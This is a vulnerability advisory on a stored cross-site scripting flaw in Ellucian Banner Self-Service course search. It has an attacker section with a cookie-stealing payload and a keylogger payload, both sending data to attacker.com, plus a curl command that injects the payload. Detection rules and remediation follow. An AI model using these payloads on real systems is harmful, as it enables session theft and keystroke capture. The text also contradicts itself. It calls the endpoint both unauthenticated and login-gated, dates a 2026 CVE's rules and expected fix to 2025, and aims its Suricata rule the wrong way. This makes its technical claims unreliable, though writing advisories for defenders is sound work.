CVE-2026-47106

Executive Summary

CVE-2026-47106 is a stored cross-site scripting (XSS) vulnerability in Ellucian Banner Self-Service, a widely used higher education ERP system. The flaw resides in the course search functionality, where the application fails to properly HTML-encode user-controlled data before inserting it into the DOM. An authenticated Banner ERP user can inject malicious JavaScript payloads into faculty and course fields (e.g., displayName, emailAddress, subjectDescription, courseTitle). These payloads are stored and later executed in the browsers of other users who view the affected course search results. The vulnerability is exploitable via the unauthenticated getFacultyMeetingTimes API endpoint, which accepts and stores unsanitized input. The CVSS score is 5.4 (Medium), with a low attack complexity and no user interaction required for the stored payload to trigger. No public proof-of-concept or exploit code is currently available, and the vendor patch status is unknown, with an expected fix in the April T2 2025 release.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby). It is a web application vulnerability in a proprietary ERP system (Ellucian Banner Self-Service). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs an authenticated Banner ERP user account.
• User Interaction (UI): None (N) – The stored payload executes automatically when a victim views the affected page.
• Scope (S): Unchanged (U) – The vulnerability does not cross a trust boundary.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens, page content).
• Integrity (I): Low (L) – Limited ability to modify content or perform actions on behalf of the victim.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The vulnerability requires authentication, but the stored XSS can lead to session hijacking, credential theft, or defacement within the application. The lack of a public exploit reduces immediate risk, but the widespread use of Ellucian Banner in higher education makes it a high-value target.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) flaw in the course search functionality of Ellucian Banner Self-Service. The root cause is the absence of HTML encoding when user-supplied data is inserted into the Document Object Model (DOM). The vulnerable code path involves the getFacultyMeetingTimes API endpoint, which is accessible without authentication. This endpoint accepts parameters such as faculty.displayName, faculty.emailAddress, subjectDescription, and courseTitle. The application stores these values in the database without sanitization. When a user performs a course search, the application retrieves these stored values and inserts them directly into the HTML DOM using JavaScript (likely via innerHTML or similar methods), without escaping HTML entities.

Attack Flow:

1. Authentication: The attacker logs in as an authenticated Banner ERP user (e.g., a student or faculty member).
2. Payload Injection: The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via the getFacultyMeetingTimes API endpoint, targeting a field like faculty.displayName.
3. Storage: The payload is stored in the database without sanitization.
4. Trigger: Another user (e.g., an administrator or another student) performs a course search that includes the affected faculty or course. The application retrieves the stored payload and inserts it into the DOM.
5. Execution: The victim's browser executes the malicious JavaScript, which can steal session cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Why it's dangerous: The stored XSS persists across sessions and can affect multiple users. The unauthenticated API endpoint lowers the barrier for injection, though the attacker still needs an authenticated session to call the API. The lack of input validation and output encoding is the core weakness.

Vulnerable vs. Patched Code

The following code snippets illustrate the vulnerable and patched versions of the JavaScript function that handles DOM insertion for course search results.

Vulnerable Code (JavaScript):

function displayFacultyInfo(faculty) {
    // Vulnerable: Direct DOM insertion without encoding
    document.getElementById('facultyName').innerHTML = faculty.displayName;
    document.getElementById('facultyEmail').innerHTML = faculty.emailAddress;
}

Patched Code (JavaScript):

function displayFacultyInfo(faculty) {
    // Patched: Use textContent to safely insert text
    document.getElementById('facultyName').textContent = faculty.displayName;
    document.getElementById('facultyEmail').textContent = faculty.emailAddress;
}

Explanation: The vulnerable code uses innerHTML, which interprets the string as HTML and executes any embedded scripts. The patched code uses textContent, which treats the string as plain text and automatically escapes HTML entities. Alternatively, the application could use innerText or a sanitization library like DOMPurify.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to an Ellucian Banner Self-Service instance (version before April T2 2025).
• An authenticated user account (e.g., student or faculty).
• Knowledge of the getFacultyMeetingTimes API endpoint.

Exploitation Steps:

1. Authenticate: Log in to the Banner Self-Service portal.
2. Craft Payload: Create a malicious JavaScript payload. For example, to steal session cookies:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

3. Inject Payload: Use a tool like curl or Burp Suite to send a POST request to the getFacultyMeetingTimes endpoint with the payload in a vulnerable field.

   curl -X POST https://target.edu/BannerSelfService/api/getFacultyMeetingTimes \
     -H "Cookie: session=valid_session_cookie" \
     -d "faculty.displayName=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>&faculty.emailAddress=test@test.com"
   

4. Trigger: Wait for an administrator or another user to view the course search results that include the injected faculty member. The payload will execute in their browser.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log', {method: 'POST', body: e.key});
});
</script>

Blue Team (Defender)

Detection and Response:

1. Monitor API Endpoints: Log all requests to getFacultyMeetingTimes and inspect for suspicious patterns (e.g., <script>, onerror=, javascript:).
2. Input Validation: Implement server-side validation to reject or sanitize HTML tags in fields like displayName, emailAddress, subjectDescription, and courseTitle.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before being inserted into the DOM. Use textContent instead of innerHTML.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads (e.g., OWASP ModSecurity Core Rule Set).
5. User Education: Train users to avoid clicking on suspicious links or entering sensitive data in untrusted contexts.

Lab Setup:

• Environment: Docker container running Ellucian Banner Self-Service (vulnerable version).
• Tools: Burp Suite, curl, browser developer tools.
• Steps:
  1. Deploy the vulnerable application.
  2. Create a test user account.
  3. Use Burp Suite to intercept and modify API requests to inject XSS payloads.
  4. Observe the stored XSS in the course search results.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/getFacultyMeetingTimes with payloads containing <script>, onerror=, or javascript: in fields like faculty.displayName, faculty.emailAddress, subjectDescription, or courseTitle.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com) from the Banner Self-Service server.
• File IOCs:
  • Log entries showing unsanitized HTML tags in database fields.
  • Modified JavaScript files that use innerHTML instead of textContent.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects in the course search results.
  • Unauthorized changes to user profiles or course data.

Detection Engineering

YARA Rule

rule Detect_Ellucian_Banner_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Ellucian Banner Self-Service API requests"
        author = "Valters IT"
        date = "2025-04-23"
        reference = "CVE-2026-47106"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Ellucian Banner Self-Service Stored XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS attacks against Ellucian Banner Self-Service via the getFacultyMeetingTimes API endpoint.
author: Valters IT
date: 2025-04-23
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-47106
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/getFacultyMeetingTimes'
        cs-uri-query|contains|all:
            - 'faculty.displayName'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in faculty names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-47106 Ellucian Banner Self-Service Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/getFacultyMeetingTimes"; http_uri; content:"faculty.displayName"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Upgrade to the April T2 2025 release of Ellucian Banner Self-Service as soon as it is available.
2. Input Validation: Implement server-side validation to reject HTML tags in all user-supplied fields, especially those processed by the getFacultyMeetingTimes API.
3. Output Encoding: Replace all instances of innerHTML with textContent or use a sanitization library (e.g., DOMPurify) before DOM insertion.
4. WAF Rules: Deploy or update WAF rules to block XSS payloads in API requests.

Long-Term Mitigations:

• Security Training: Train developers on secure coding practices, particularly regarding XSS prevention.
• Code Review: Conduct a thorough code review of all DOM manipulation functions.
• Penetration Testing: Perform regular penetration tests focusing on XSS vulnerabilities.
• Content Security Policy (CSP): Implement a strict CSP to mitigate the impact of XSS even if a payload is injected.

Workarounds (if patch is unavailable):

• Disable the getFacultyMeetingTimes API endpoint if not essential.
• Restrict API access to authenticated users only (though this is already the case).
• Monitor logs for suspicious API requests and block offending IPs.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert